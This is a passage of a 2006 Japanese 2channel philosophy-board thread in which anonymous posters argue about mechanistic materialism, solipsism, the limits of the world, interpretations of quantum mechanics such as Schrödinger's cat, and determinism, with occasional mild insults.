164 :考える名無しさん:2006/11/13(月) 22:42:08
>>160
書き込み始めと飲み始めは同時であったw
NHKのレンブラントを見ようと思ったらBShiだた・・orz

てなこともあり、スレを覗いているw
 “” が無かったから微妙だと思ったが、違ってたか(^^; 失礼した・・。
ポイントは、
・知りえないことを完全に捨象すべきかどうか?
・類推はどこまで有効か?
・完璧な客観のみが右の座を許されるのか?
・機械論的唯物論、或いは決定論のみが信仰でしかないと言われるのか?
・唯物論的思考もまた信仰に過ぎないのか?
・信仰に過ぎないならば、その有効性に対する評価はなされないのか?
 或いは、風船の外側はともかく内側については、類推は仮説として保持され、
 妥当な解釈として地位を確立できるのか?

ま、量子力学なんてちんぷんかんぷんだし、
知りえないことを捨象するのは、自分が決定論的思考を捨象している以上
ダブルスタンダードにならざるを得ないわけだが・・・w
(仏教なんて典型的なダブルスタンダードだしなwww)

が、あるスタンスを設け、その上で
何を捨象し何を拾い上げるか、という作業がきちんとなされるならば、
たとえ風船の外側でさえも、数多のデータの集積による類推を受け入れてもいいんじゃなかろうか・・。

う〜む、支離滅裂だ(爆


165 :35:2006/11/13(月) 22:53:53
> たとえ風船の外側でさえも、数多のデータの集積による類推を受け入れてもいいんじゃなかろうか・・。

「受け入れていい」という前提においてある論を構築することはできる。
だが、「機械論的唯物論」の立場に立った場合は原理的に不可能。

ちなみに、風船の内側外側という表現を使ったから分かりづらかったかもしれないが、『外側』というのはあくまで
例えであって、そもそも存在しないのですよ。この場合の『風船』というのは『限界』のことであって、その外側は存在しないのです。
『すべての集合』だと思ってください。『すべての集合』に含まれないものは原理的に存在しない。
(厳密にはすべての〜〜という点でもう少し突き詰める必要があるけど、まあ今は別にいいでしょう)

だから、これを『世界』として規定しているわけです。これは真にすべての事象の『限界』です。
したがって外側から世界を眺めるには、この『集合』の外側に立つ、ということもまた不可能であり、
「世界を外側から眺める」ということを『思考する』ことすら原理的に不可能なのです。だから推論も本質的に成り立ちません。

166 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 22:56:02
  『意識も精神も観念もすべて化学反応、もしくはそれに副次的なものである

それは大体正しいとは思いますがだからどうだというんですか
何か人間世界に影響があるんですか,と聞いておるわけです

 もっともレーニンはそういって大いに受けたようですけどね
受けたというより人々が驚いた

 だから私もそれは第一唯物論であるといってるわけです

>>159 第3唯物論がいまでは進んでるとは思いません
支持者も今はかなり減ってます,第3唯物論は第2唯物論が下部構造が上部構造を規定してるというのに対して
中で生産関係という下部構造に注意を集中するべきだといいます’他は言わなくなる)

167 :35:2006/11/13(月) 22:58:38
>>165補足。

>「受け入れていい」という前提においてある論を構築することはできる。

と書いたが、これはその論が正しいということではない。むしろ、この前提が間違っているから、
論そのものも間違ってる。だけど、自然科学はこの前提を受け入れることによって成り立っている。
しかし、『だから、自然科学は間違いである』という単純な帰結を導くことはできない。
この辺は非常にごちゃごちゃしててめんどくさいので、勉強不足の俺にはこれ以上言及できません。


168 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 23:08:10
>>163 機械論的唯物論とはなにはどうであるという論ですか

あなたのいってるのは有名な「18世紀機械的唯物論」とは違うようですが
(ちなみに18世紀機械的唯物論とは生き物は機械のようなものであるという論でした
どっちかというと僕の方がその流れの発展形だと思うが)

169 :35:2006/11/13(月) 23:08:28
> それは大体正しいとは思いますがだからどうだというんですか
何か人間世界に影響があるんですか,と聞いておるわけです

この問いは非常に難しいですな。厳密に正しく答えるのなら『どうにもならない』ということになります。
ただ、ここで簡単に終わらないのは、この論理展開をあらゆるものに適応していった場合、
世界そのものからその意味をすべからく奪うということですね。

だから、歴史にも意味は無い。人間世界など存在しない。ついでにいえば「だからどうだ」
という問いにも意味など無い。だから、それまでなわけです。
つまり、唯物論の立場に立てば、世界について、また唯物論そのものについてなんらかの意味を求めてはいけない。
なぜなら、あらゆる意味を消去するのが機械論的唯物論の一つの側面だからです。

まあ、それでも「それで?」と聞かれたら「まあ、本人が楽天的な性格になるんでね?」としか言いようが無いですね。
http://www.h5.dion.ne.jp/~terun/doc/s8.html
↑おそらく唯物論の祖であるだろうデモクリトスの例がいい感じです。あと、老荘思想とかも近いものがあるかもね。

170 :35:2006/11/13(月) 23:14:09
>>168
む、ちょっと倒錯してしまったかもしれない。

>生き物は機械のようなものである

こっちのほうが近いですね。俺はそれを世界に限界まで適応した場合を論じちゃってますた。

世界全体を一つのモデルとして考えたものを『純粋な唯物論』
一個の生命体を一つのモデルとして考えたものを『機械論的唯物論』

と区別しようかと思います。このとき、「純粋な唯物論」⊃「機械論的唯物論」ですね。

171 :61:2006/11/13(月) 23:17:14
>>163
「意識も精神も観念もすべて科学反応だ」としても、その科学反応を促し規定
するのが“物資”である、というのが第二の主張ではないか。この種の考え方は、
世俗で実権を有する連中の“哲学”であり、実際的な世界を領導している。
彼らは、この“哲学”に基づいて核武装もすれば、戦争もする。第二の言葉を
借りれば、この“物資”を捨象して何を哲学するのだ、というわけだろう。


172 :考える名無しさん:2006/11/13(月) 23:23:43
>>165
よくわかります。
ですから、他者の内面は外側なのか?自己の内面は外側なのか?
五感を通して知覚される外界は風船の外側なのか?
ということです。私も、宇宙の果てとして風船の外側を使ったわけではないです。
機械タソのことはひとまず措いといて、
人は畢竟、自身についてすら何一つ知ることは出来ない、というのが哲学の結論なのか?
ということです。
>>167
そのごちゃごちゃしている部分(→何が外側で何が内側なのか?という部分でしょ?)こそが、
このスレのグレーゾーンとしてあるのではなかろうか?w
(クオリアだろうが、自我と外界の境であろうが、神経細胞の活動と心的現象の関連であろうが、
物理的因果と心的現象(自由意志を含)との関連であろうが・・・)


自分のテリトリー外の事に関して発言しているため、悪文になって申し訳ない。
撤退のタイミングを見計らってはいるのだが・・・w

173 :35:2006/11/13(月) 23:26:57
>>171
別に化学反応も物資も一つの事象であって、厳密には存在しない一つの観念だわな。

ていうか、あなたの記述には観念的なものが多すぎて、もはや唯物論は語れないよ。
それはまた違った社会科学でしょう。しかも、推論として少々弱い。根拠付けが希薄。
だから演繹的にある結論を導出する際の前提として、脆い。その辺を改善したほうがいいと俺は思う。

だからね、観念を使って論を展開するのなら、そもそも唯物論という役に立たない道具は捨ててしまいなさいと。
そっちのほうが多分やりやすいですよ、と。

174 :35:2006/11/13(月) 23:34:29
> ですから、他者の内面は外側なのか?自己の内面は外側なのか?
五感を通して知覚される外界は風船の外側なのか?

内側です。確実に。別に私は認識論的独我論を語ってるわけじゃないです。
確かに、独我論的な側面もありますが。(ちなみに、そもそも純粋な独我論は純粋な実在論と同一のものなのです。)

結局他者の内側であろうとなんであろうと結局すべて『すべての集合S』に含まれるのですから全部内側なのです。
というより、前のレスで言ったように外側など本質的に存在しないのです。

この辺は「純粋な独我論は純粋な実在論と同一のものである」という主張が理解できないとちょっと理解しにくいかも。

より混乱させることをいってしまえば、このとき唯一世界に属さないものが「主体」であるんです。
「主体」は世界の限界としてのみ存在することとなります。つまり世界そのものですね。
あー、これは余計わかりにくくなるかな。

175 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 23:36:35
>>173 この場合の「唯物論という道具」はなにがどうであるという論かな

176 :35:2006/11/13(月) 23:36:56
> そのごちゃごちゃしている部分(→何が外側で何が内側なのか?という部分でしょ?)こそが、
このスレのグレーゾーンとしてあるのではなかろうか?w
(クオリアだろうが、自我と外界の境であろうが、神経細胞の活動と心的現象の関連であろうが、
物理的因果と心的現象(自由意志を含)との関連であろうが・・・)

補足するなら、これらのものはすべて世界の内側に属します。
繰り返しますが、世界の外側などというものは本質的に存在しないのです。ごちゃごちゃもしていません。

177 :考える名無しさん:2006/11/13(月) 23:37:10
ウィトゲンシュタイン先生か?w


178 :考える名無しさん:2006/11/13(月) 23:38:01
様相論理?

179 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 23:42:25
>>169 なるほどすげ−機械的ですね,今まで聴いたことなかった
僕にあんまり関係ない、捨てるというよりかんがえたことが無い

 でも今ではそれが唯物論の代表とする人は俗論主義者意外は極少数のような気がするが
特に中国は人が多いからなあ

180 :61:2006/11/13(月) 23:46:53
>>173
誤解しないでいただきたいが、私は機械氏からも認められている観念論者。
自称・非唯物論者です。唯物論という道具を使って何かを述べたことはあり
ません。たまたま第二の主張を勝手に代弁しただけ。
結局、あなたの言われていることは“唯言語論”に聞こえるのですが。

181 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 23:48:20
>>169 こんなこといっちゃなんですが.その論は唯物論という漢字と1時間にらめっこした人がかんがえそうですね

182 :35:2006/11/13(月) 23:50:31
>>179
んっと、ぶっちゃけ大学受験を控えた身なのでこの辺で消えようかと思うのだが、

>この場合の「唯物論という道具」はなにがどうであるという論かな

別にあなたは唯物論とか関係なく、独自の論を展開した方がいいのではないかということです。
構造主義とか、多分惹かれるものがあると思いますよ。
まあ、ということでこの辺で。

>>180
あなたじゃなくて第二氏に対してね>唯物論

唯言語論て言うか、あるものを論じる時には論理無しには不可能であり、論理は言語をよりどころとしてるからね。
俺はあなたたちよりもちょっとだけ直感より論理に重きを置いている、というだけの話であると思いますよ。
そもそも唯言語ってなんぞやって感じもするしねw

んでは、みなさまがたがんばって

183 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 23:53:22
>>180

代弁にしちゃ、>彼らは、この“哲学”に基づいて核武装もすれば、戦争もする

の部分で逆を言ってるような気がしますが

俺は唯物論に無知だったからアメリカはイラク戦争をしてしまったといったはず

184 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 23:58:08
>>182 あとで中国の何千万人と合流するためにも唯物論といってたほうがいいと思う、歴史的重みもあるしね(おおきな間違いもあったが)

参考までに文化大革命の下部構造はなんだったかという難しい議論もありますよ
ある意味世界のなぞだけどね

185 :考える名無しさん:2006/11/14(火) 00:01:02
>>184
物資じゃないのか?w

186 :考える名無しさん:2006/11/14(火) 00:04:39
>>174
なるほど。
最高位も、貴方のような語り口であればもっと賛同者を得られたでしょうね。

終わり三行。
前段二行で、自己の内面は内側であると言われる。
ならば、「主体」と「自己の内面」との関わりは如何なる物となるか?
また、他者が、(実験動物とは言わないまでもw)被験者の膨大なデータを採取したとして、
被験者の内面を(完璧に)知ることが出来るのか?
この場合は、独我論的な「知りえない主体」ではないのでは?
(それとも、自身の外界にあっても「主体」なのか?)
あくまで、対象としての人であり脳であり現象でしかない。主体としてあるのは被験者にとってのみ。
Aさんの「世界に属さない主体」は、同時にBさんにとっては「世界に属する、他者の内側」ではないのか?
全ての集合Sに含まれない「主体」が全ての集合Sに含まれる。

>>175
>「主体」は世界の限界としてのみ存在する
>>176
>世界の外側などというものは本質的に存在しないのです
(=世界は私である(=認識されたもののみが世界である)ならば
独我論そのものではないのか?



ちなみに補足するならば、そうした主体をも解体しようというのが私のスタンスだったりする。


うーむ、いい感じに酔っているかもしれんw

187 :61:2006/11/14(火) 00:07:02
>>176
揚げ足をとるようだが、世界の内側との言い方こそ観念的では?
他方、世界の外は非在だという。これは、認識の果てのことだろう。
言語の限界といってもよかろう。つまり、典型的な独我論では?
むろん、それが悪いというわけではないが。

188 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 00:15:53
>>139
>あと、観測者は『理想的には』観測対象のモデルの外側にいなくてはならない。
>これが原則です。まあ本質的にはそれができないから量子論なんかでは困ってるわけですがね。

シュレディンガーの波動方程式を有効とするならば、「シュレディンガーの猫」が、
「生きてもいないし、死んでもいない状態」にある・・・ということが「この世界の事実である」
としなければならない・・・と指摘したのが他ならぬシュレディンガーさんだったことを量子論を
継承した方は何故か忘れがちになります。
 2重スリットを1個の量子は「両方同時に」通過できる訳がありません。
 1個の量子が到達するスクリーンに描く「的中点」は1個なのに、2重スリットを通過した時点では
2個であった・・・という量子力学の不確定性理論解釈は明確に「間違い」なのです。

189 :考える名無しさん:2006/11/14(火) 00:16:33
>>186
>Aさんの「世界に属さない主体」は、同時にBさんにとっては「世界に属する、他者の内側」ではないのか?
>全ての集合Sに含まれない「主体」が全ての集合Sに含まれる。

独我論的パラレルワールドって考え方ではダメかね?
全ての存在が一人の観客であり、また無数の演技者の一人でもあると・・・


190 :考える名無しさん:2006/11/14(火) 00:18:28
>>188
正解はどうなってるの?
観測上の問題ならば、どのように問題があるのか説明しないと
「間違いに決まっている」という信念に過ぎないじゃないかと反論されそうだが・・

191 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 00:20:08
>>185 誰(達)のどういう物資だと思う??俺のかんがえてる答えは非常に意外
中国人以外に話す気は当分ないけどね

 最後に複数の方へ
自分はその唯物論を全然支持してないのに,唯物論とはこうなはずと強硬に主張される方が最高位始め多い
それはある意味低級観念論なんだけど非常に2ちゃん的雰囲気を作りますね

2ちゃんが000だなあと多くの人が感じることの下部構造かな

192 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 00:23:23
188の一部訂正です。

「シュレディンガーの波動方程式を有効とするならば、『シュレディンガーの猫』は、
「生きてもいないし、死んでもいない状態=半死半生の状態にある」・・・としなければ
ならなくなるので、そういう解釈は噴飯モノである・・・と指摘したのが他ならぬ
シュレディンガーさんだったことを量子論を継承した方は、何故か忘れがちになるようです。


193 :61:2006/11/14(火) 00:25:34
>>183
なるほどね。アメリカは、唯物論的といえるかどうかはともかく、超即物的
な国家だと思う。カネがすべての国がらでしょう。一方、理念も染みついて
いる。そして、宗教国家でもある。この分裂が同国の選択をしばしば誤らす
のでしょうか。

194 :35:2006/11/14(火) 00:25:36
もう消えるっていってるのにwwそれでもレスされれば返信したくなるのが俺の性。

>ならば、「主体」と「自己の内面」との関わりは如何なる物となるか?

自己の内面と「主体」は関係ないです。別にどっちでもいいのです。認識論的にどうのこうのというのは純粋な独我論において意味を持ちません。
「主体」は限界であって、それ以外のなにものでもないからです。だから基本的に、直接的な方法で記述することはできません。
他者の「主体」について論じるときも、『全体の集合S』の一つの要素について論じることになります。

この辺は哲学者も表現に苦しむところなので、俺にはこの辺が限界です。

>(=世界は私である(=認識されたもののみが世界である)ならば
独我論そのものではないのか?

それは認識論的独我論の立場です。ある地点まで純化された独我論においてはまた違ってきます。

>そうした主体をも解体しようというのが私のスタンスだったりする。

俺のいう「主体」についてのことならば、これは原理的に不可能でしょう。俺のいう「主体」はあくまでもある対象として扱うことはできません。
”基本的に”はね。これ以上踏み込むとまためんどくさくなるからパス。

>>187
>言語の限界といってもよかろう。つまり、典型的な独我論では?

その通りだと思いますが。俺も言語の限界=論理空間の限界=世界の限界という形で把握してるしね。
ただ、典型的な独我論、という表現が適切かどうかはわからない。少なくとも認識論的独我論の立場ではないです。
さらに加えるなら、俺はそもそも「純粋な唯物論」を否定する立場だし、まして観念を認めないなんていうことは言ってない。
というより、そのような論の構成が不可能だと示してきてたのだけどね。

195 :考える名無しさん:2006/11/14(火) 00:26:36
相変わらず機械タソはお茶目だなw

196 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 00:27:40
>>190
どちらか1個のスリットを通過した・・ということです。
1個1個量子を発射しても、スクリーン上の到達点は1個1個増えるだけですが、
それがある数以上蓄積されると、見事に「干渉縞」を描くことになるのです。
 それは、『シュレディンガー波動方程式の「当然の帰結」』なのです。

197 :考える名無しさん:2006/11/14(火) 00:30:05
>>191
権力者側と革命を起そうとした側の衣食住に関する物資だと思うよ
違う?
さらに突っ込んで具体的に何かって言われたら中国のことを勉強しないと分かんないと思う
それはおれにはあんまり興味の無い歴史学など社会学の仕事だから、
おれはどうでもいいや

198 :35:2006/11/14(火) 00:34:37
>>188
コペンハーゲン解釈を採用するなら「正しい」ということになりますよ。その辺の現実的な感覚とは乖離している解釈が平気でまかり通っている
ところが量子論のわかりにくいところ。

と、ここで横槍を入れるようですが、量子論における観測と結果の諸問題はあくまで、『観測』と『真理値』の問題であって、
唯物論を語る上ではぶっちゃけたいした問題にはならない。むしろ『ラプラスの魔』のほうが唯物論をそのまま体現した問題でしょう。
これ以上踏み込むのは例によってパス。論理の説明はめんどっちいからきらい。

199 :考える名無しさん:2006/11/14(火) 00:35:35
>>196
でも、スリット一つだと干渉縞出ないでしょ
ブラックマターとでも干渉したのか?

200 :考える名無しさん:2006/11/14(火) 00:39:21
受験生か・・・。
これからが修羅場となると、「最高位の代わりに楽しませてくれ」
と依頼するのは酷か・・・w

なかなか面白いやりとりができそうなんだがな・・・。
酒のツマミに申し分ない。 なあ、酒天童子よw


が、マジレスする。 >>194
受験終わるまで2ch断ちしろw
特に哲板なんて百害あって一利なし。
返答レスの推敲は確かに楽しいが、中毒になるぞw 気をつけろ。
って、もうなってるか・・・(爆  (^^;

201 :35:2006/11/14(火) 00:39:58
>>196
ちょっとまった。それは短絡的すぎる。それじゃ「干渉縞」を描く理由が無いから。
そんな簡単に説明できるなら苦労しないよ。だからコペンハーゲン解釈では『量子は可能性の波として存在し、観測によってある値に収束する』
なんていう意味のわからない説明になったんじゃないか。

まあ、結論としては「わかりません」なんだけどな。観測できないから。

202 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 00:40:10
>>198
コペンハーゲン解釈など、アインシュタインに突っ込まれたボーアの「場当たり発想」
にすぎない・・・と「解釈」しております。
「量子の観測」は「量子を量子にぶつけて返ってきた量子の状態でぶつけられた量子を観測する」
ことでしか「絶対になしえない(観測)行為」なので、「観測すること自体が観測する対象の
観測すべき状態を変えてしまう」・・・ということは「宿命」である・・というだけのことです。

203 :35:2006/11/14(火) 00:44:25
>>202
いや、だから、他にもパイロット解釈とかいろいろあるけどさ、あなたの説明は「こうなのだ」というような簡潔な演繹的導出は不可能なのですよ。
だって観測不可能なのだから。だから「解釈」

『でもそれでちゃんと計算できるのだから、別に問題ないじゃん』

ていうのが実際の科学者たちの考え。これ以上先は形而上学的な部分に入ってきてしまう。
ぶっちゃけ「神様が動かしてました」でも「目に見えないほど小さい小人さんがいたづらしました」でもいいわけだからね。

204 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 00:47:29
>>203
では「シュレディンガーの猫」は、「蓋を開ける(観測する)までは半死半生である」と、
信じていらっしゃるのですか?

205 :35:2006/11/14(火) 00:52:14
>>204
そのように解釈すれば、量子論的に都合がいい

ということであってそれ以上でもそれ以下でも無いでしょう。だってわからないんですからね。
真理値がどうあってもわからないのであれば、それを論ずるのはそもそもナンセンスなのです。
後は形而上の問題。それぞれ都合のいい解釈をもってくればそれでいいんです。

ただし、短絡的に「これは間違い、ありえない」と断定することもできないってこと。

206 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 00:54:46
>>205
@死んでいるか生きているかのどちらか一つである。
A半死半生・・という状態である。
のどちらの説を「正しい」とされるのですか?

207 :考える名無しさん:2006/11/14(火) 00:58:26
>>82
哲学的に言えば、
意識が存在することです。意識からその上で「私」がなければなりません。
自分の視覚聴覚、眼球などの運動をこうりょにいれると、「まずは統括する
場」が「意識」です。
五感が統括されれるのです。運動行為=私の自我があっての活動です。
こうすると「自我=意識」は成り立ちません。覚醒意識状態ですから
意識が自我であれば思考行為になりません。思考行為を考えると自分のはついで行うのが
真の思考行為です。その意識状態をコントロールするのも意識の存在だけでは無理です
背理です。
意識はあくまでも覚醒意識の場なのです。
自我=意識は成り立ちません。、
 

208 :35:2006/11/14(火) 00:58:44
>>206
あのですね、その問いこそが永久に答えられうることのない「半死半生の」問いであると気づきませんか?

だから、「わからない」んですって。大体、量子間テレポーテーションなんてありえないことが現実に起こってるんだから、
それこそ、どんなことが起こってたとしてもありえないことでもないでしょう。

まあ、きちんと解明されればおそらく現在の哲学に激動をもたらすだろう、という点で残念ですが俺の答えは一つだけ
「わかりませんよ」と。

209 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/14(火) 01:01:32
脳内睡眠物質メラトニン等の蓄積が指向的クオリアとして「観測」されつつありますので、
本日は就寝させて戴きます。

210 :考える名無しさん:2006/11/14(火) 01:05:45
>>203
>ていうのが実際の科学者たちの考え。これ以上先は形而上学的な部分に入ってきてしまう。
>ぶっちゃけ「神様が動かしてました」でも「目に見えないほど小さい小人さんがいたづらしました」でもいいわけだからね。
>>205
>それぞれ都合のいい解釈をもってくればそれでいい

ほら、私のレスが脱線ではないかと言った意味はここにある。
ミクロにおいては、類推・想定すら寄り付かせない深遠があろう。
が、少し倍率を上げた部分では類推可能となるのではないか?
複数の結果から在り様を類推する行為、
これが通用しないのはどこか?どこからか?
類推(≒思い込み)の妥当性は何が担保するのか?
貴方の姿勢は、確かに思考停止のベクトルだ・・w

オレモナーwww おいらの立場も「箱を開けりゃ判る」だしw

けど、恋人の心の内は、ありとあらゆる情報を集積して、何が何でも確認せねばなるまいw
でなければ、「愛してます」という発話を無条件に信用するしかないw
しかし、最低一つ「愛してます」という言語情報はある。

箱の中から「まだ生きてるよ〜w」「もうだめぽ・・」という情報が発信されるといいのにねw


いかん・・・。たわごとと化している・・・。俺も寝なければ・・・

ノシ


211 :前擦腺 ◆BovECr9/c2 :2006/11/14(火) 01:18:01
流れが良くなってきましたね。

機械さんは、「実在論」といえる立場にあります。
僕もそうですが、そこがポイントなのではないでしょうか。

212 :35:2006/11/14(火) 01:21:48
>>210
> 類推(≒思い込み)の妥当性は何が担保するのか?

ないでしょ、そんなものは。論理は突き詰めれば突き詰めるほど無限に自らを規定しつづけるし、
ある時点において規則に盲目的に従って納得するしかないんだよ。

だから

> これが通用しないのはどこか?どこからか?

これは、通用すると思えば通用するし、通用しないと思えば通用しない、ということでしょうよ。
その点において、物事はそもそもアプリオリに知ることなぞできない、以上、でいいんじゃね?

213 :考える名無しさん:2006/11/14(火) 01:22:46
類推って何cmくらいの広がりがあるのでしょう

214 :考える名無しさん:2006/11/14(火) 01:25:57
>>211
死んでいる猫は実在するしまだ死んでいない猫も実在するけど、
不確定性原理に基づくシュレディンガー波動方程式が計算する確率
という理念に従って半死半生の状態にフリーズした猫というのは
実在しないという立場だな。

215 :前擦腺 ◆BovECr9/c2 :2006/11/14(火) 01:53:07
風船の内側にいた場合でも、中にいる者たちがそのような構造の内部に存在し、
その事実を認識することは不可能ではないでしょう。
我々は、我々の存在する銀河系を直接撮影することは出来ませんが、
どういった形態・形状で存在しているか、ということを捉えることは出来ます。
この場合、直接撮影するということはさほど重要だとは思われません。

216 :前擦腺 ◆BovECr9/c2 :2006/11/14(火) 02:47:02
また、もう一つ重要なポイントとしては「自由意志」の問題がありますね。
どのように世界を解釈するにせよ、これを認めるか認めないかは、大きな問題になると思います。

217 :考える名無しさん:2006/11/14(火) 04:26:04


     このスレ、キモイな


218 :考える名無しさん:2006/11/14(火) 04:30:02

稚拙でオカルト好き低脳どもの、知ったかぶりのお披露目展示会場

219 :考える名無しさん:2006/11/14(火) 04:40:38
>>218

なかなか謙虚な自己紹介ですね。

220 :考える名無しさん:2006/11/14(火) 09:16:31
>>素人さん
昨晩はハナから酔っ払っていたけど、珍しく鋭い知見をちらつかせてもいますね。
最高位がこの流れのなかへどのように登場してくるか、お楽しみ。前擦腺君は、
いやがるだろうが。前擦腺君は学問に専念したまえ。


221 :考える名無しさん:2006/11/14(火) 13:54:42
多世界の全部を未来だとするならば未来は決まっている。
しかし人間は自分たちの世界以外は認識できないのでそういう意味では未来は決まってない
ということだろう。

222 :考える名無しさん:2006/11/14(火) 14:30:01
>>221
×しかし人間は自分たちの世界以外は認識できないのでそういう意味では未来は決まってない
○しかし人間は自分たちの世界以外は認識できないのでそういう意味では未来はわからない


223 :考える名無しさん:2006/11/14(火) 15:35:36
>>221
認識できない世界が「ある」と考えるのは無意味。認識できないならばそんな世界は存在しないも同然だ。話は全く逆で、未来は常に一通りしかないので、決定していると言える。
>>222
「認識できない」からといって「未来がわからない」ことにはならない。


224 :221:2006/11/14(火) 15:37:38
>>223
多世界解釈を認めないならばそれでいいと思います。

225 :考える名無しさん:2006/11/14(火) 16:14:40
>>223
>「認識できない」からといって「未来がわからない」ことにはならない。

なぜ?

>認識できない世界が「ある」と考えるのは無意味。

誰にとって無意味?キミにとってかな?
認識できなくても、100番目のメルセンヌ素数とかは意味がある。


>未来は常に一通りしかないので、決定していると言える。

これには激しく同意。

226 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 16:24:40
  >> それは大体正しいとは思いますがだからどうだというんですか
何か人間世界に影響があるんですか,と聞いておるわけです

>この問いは非常に難しいですな。厳密に正しく答えるのなら『どうにもならない』ということになります。
ただ、ここで簡単に終わらないのは、この論理展開をあらゆるものに適応していった場合、
世界そのものからその意味をすべからく奪うということですね。

だから、歴史にも意味は無い。人間世界など存在しない。ついでにいえば「だからどうだ」
という問いにも意味など無い。だから、それまでなわけです。
つまり、唯物論の立場に立てば、世界について、また唯物論そのものについてなんらかの意味を求めてはいけない。
なぜなら、あらゆる意味を消去するのが機械論的唯物論の一つの側面だからです

 この35氏の答弁は荒唐無稽だよ,単に機械的ということばから少年が類推しただけのようだな」
自分が唯物論を身につけたいという立場からこういうのは絶対出てこない.人事だからどうでもいいんだ
俺に言わせれば唯物論を駆使すれば世界中は意味だらけになる、少なくとも2倍近くなる(上部と下部にね)
下部構造は複数だからもっとか

227 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 16:25:58
>>226>>169

228 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 16:30:43
>>226 現代の機械的唯物論というのがこのスレの特徴だが35氏のいうのと又違う意味があるようである
何がどうであるという論だろうね

 未来は全て決まってるというのも機械的唯物論に入るようだが未来はすべて決まってるというのは自然科学を知らないかなり馬鹿の大錯覚に過ぎない
このテーマ決定論はばかばかしいからレスが減るだろう

229 :考える名無しさん:2006/11/14(火) 16:32:56
決定論は量子力学でだか、否定されたんじゃないか?

230 :考える名無しさん:2006/11/14(火) 16:47:01
>>229
量子論は仮説から推測されたただの物理。
決定論を否定することなんてできない。

231 :考える名無しさん:2006/11/14(火) 16:52:10
>>225

もう一度元の文章を読め。
「しかし人間は自分たちの世界以外は認識できないので、そういう意味では未来はわからない」
「自分たちの世界以外は認識できない ので 未来はわからない」
全然おかしいだろ。逆に訊きたい。
自分たちの世界以外は認識できないことが、なぜ、未来がわからないの理由になるのだ。
付け加えるなら、未来の予測不可能性と、世界認識とはまったく関係ない。

>認識できない世界が「ある」と考えるのは無意味。

>誰にとって無意味?キミにとってかな?
>認識できなくても、100番目のメルセンヌ素数とかは意味がある。

キミ、「認識」の意味がわかってないようだな。


232 :考える名無しさん:2006/11/14(火) 16:57:51
>>231
>キミ、「認識」の意味がわかってないようだな。

わかっていないのはキミでは?キミの言う「認識」って何?定義は?

233 :考える名無しさん:2006/11/14(火) 17:09:55
わたしが死ぬのは確定しているが、どのような形で死ぬのかは未確定。

234 :考える名無しさん:2006/11/14(火) 17:13:48
>>232

キミ、哲学を学んだことがないみたいだね。
だいたいメルセンヌ素数なんてのを突然持ち出してくることに
キミの性格がほの見えるよ。

235 :考える名無しさん:2006/11/14(火) 17:45:57
>>232はもう一度受験生のレスを一から読み直すと
少しは言ってることを理解出来るのではないか?
個人的には認識するって意味をもうちょっと深く考えるといいと思う

おせっかいだと言われれば何も言えんが・・・

236 :考える名無しさん:2006/11/14(火) 18:10:36
>>234
で、キミのいう、認識とは何?どういう定義なの?

237 :考える名無しさん:2006/11/14(火) 18:50:48
>>231
横から口はさませてもらうと、あなたのいう「認識の意味」の「意味」ってなに?
どういう定義なの?
人に定義を求めるなら、まずは自らも明白にすべきことがあるはず。

てゆうか、いまどき「世界認識」うんぬんを論じたがるあなたは、
さては団塊の世代ですかw?
もういいでしょうよ、とっくに敗北したはずのその手の議論はw
終わってるし。

238 :考える名無しさん:2006/11/14(火) 18:55:42
ここにもいるんだよな、そういう団塊の世代がいまだにw
百年前の問題持ちだして、相手にされないとなぜか論破した気分になって、
デルソル乗りまわして、会社が終わるとビール飲んで、
それももうすぐ定年で終わりみたいなやつら。
いくら踏みつけにされても図太いから全然傷つかないw
相手にするだけむだ。

239 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 18:56:27
>>229 決定論は量子力学でなくいわば統計力学上否定されるんだよ
生物学的社会科学的事象は揺らぎの範囲で起きる

240 :考える名無しさん:2006/11/14(火) 19:04:30
>>239
なんもわかっとらん。
統計力学はそんなことと何の関係もない。

統計力学は単にミクロ系の統計量としてマクロな観測量を導出するための体系であって、
ミクロ系が古典系(決定論的)だろうが量子系(確率論的)だろうが何の問題もない。

241 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 19:10:34
>>239 にもかかわらず決定論はそれなりの人気がある、それはどういうことによるのか
第2唯物論で考えて見よう

 全てを人間の恣意で,動かしていいんなら,未来はまったく自由である,人間の決定次第だ
ところが実際は100年後もおそらく6から80億の人間が暮らしていかなくてはならない

 大量死に追い込むことはできない,であるならば,物理や科学で決まる,限りあるエネルギ元等をどう運営すべきはおのずと非常に限定されてしまう
大量死やひどい困窮を避ければ選択肢はかなり狭い,温暖化が拍車をかけてる

 ここで人間の生活というところを論理上捨象すれば、物理化学法則が直接未来をかなり決めてるという論理になる
この場合実際取れる道はかなり決まってる、人間が狂気に落ちいらなければだ
又未来の生活も相当規定される

 決定論の諸君はこういう決まってるものがあたかもほとんどないような世間の風潮にたいして反抗したいという動機を持つ
警告を発する必要を感じるのであろう

 実際かなり道が狭い分野も多いのである,物理科学上エネルギー問題等は非常にシビアだ,それ以外取るしかない道だけを出して政策等を決めた方が早いくらいだ
ただ人間の認識は遅れてる

 こうなってくると機械的唯物論は俄然意味をもつ

242 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 19:12:41
科学−ー>化学

243 :第2唯物論 ◆qBkUSoWgX. :2006/11/14(火) 19:20:08
>>241 ごらんのように決定論という上部構造(抽象論)は膨大な下部構造(生活実体未来含む)に規定されて存在してる

ただ人間の常として下部構造が意識から落ちてて上部構造だけが別な論理で一人歩きすることが多いのである
第2唯物論のおおきな焦点だ


